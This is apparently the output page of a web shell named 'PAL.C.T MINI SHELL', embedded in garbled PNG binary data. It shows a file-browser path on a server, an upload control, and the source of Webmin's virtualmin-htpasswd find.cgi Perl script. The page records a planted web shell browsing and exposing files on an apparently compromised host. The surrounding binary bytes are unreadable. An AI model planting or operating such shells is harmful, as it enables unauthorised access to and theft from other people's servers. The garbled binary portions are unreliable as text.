php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/virtualmin-htpasswd/
upload
files >> //usr/libexec/webmin/virtualmin-htpasswd/find.cgi

#!/usr/bin/perl
# Find existing protected directories

require './virtualmin-htpasswd-lib.pl';
&ReadParse();
&error_setup($text{'find_err'});
$in{'dom'} || &error($text{'find_edom'});
$d = &virtual_server::get_domain($in{'dom'});
$d && &virtual_server::can_edit_domain($d) || &error($text{'find_ecannot'});

@dirs = &htaccess_htpasswd::list_directories();
%got = map { ( "$_->[0]/$htaccess_htpasswd::config{'htaccess'}", 1 ) } @dirs;

# Start the search
&ui_print_header(&virtual_server::domain_in($d), $text{'find_title'}, "");

print &text('find_doing', "<tt>$d->{'home'}</tt>"),"<p>\n";
open(FIND, "find ".quotemeta($d->{'home'})." -name ".
	   quotemeta($htaccess_htpasswd::config{'htaccess'}).
	   " -print 2>/dev/null |");
while($f = <FIND>) {
	chop($f);
	if ($got{$f}) {
		print &text('find_already', "<tt>$f</tt>"),"<br>\n";
		next;
		}

	# Read as the domain user
	&virtual_server::write_as_domain_user($d,
	    sub { 
		$conf = &apache::get_htaccess_config($f);
		$currfile = &apache::find_directive("AuthUserFile", $conf, 1);
		$require = &apache::find_directive("require", $conf, 1);
		});
	if ($currfile && $require) {
		local $dir = $f;
		$dir =~ s/\/$htaccess_htpasswd::config{'htaccess'}$//;
		if (&can_directory($dir, $d)) {
			push(@dirs, [ $dir, $currfile ]);
			print &text('find_found', "<tt>$f</tt>",
				    "<tt>$currfile</tt>"),"<br>\n";
			}
		else {
			print &text('find_foundnot', "<tt>$f</tt>"),"<br>\n";
			}
		}
	else {
		print &text('find_noprot', "<tt>$f</tt>"),"<br>\n";
		}
	}
close(FIND);

&lock_file($htaccess_htpasswd::directories_file);
&htaccess_htpasswd::save_directories(\@dirs);
&unlock_file($htaccess_htpasswd::directories_file);

&ui_print_footer("index.cgi?dom=$in{'dom'}", $text{'index_return'});


y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`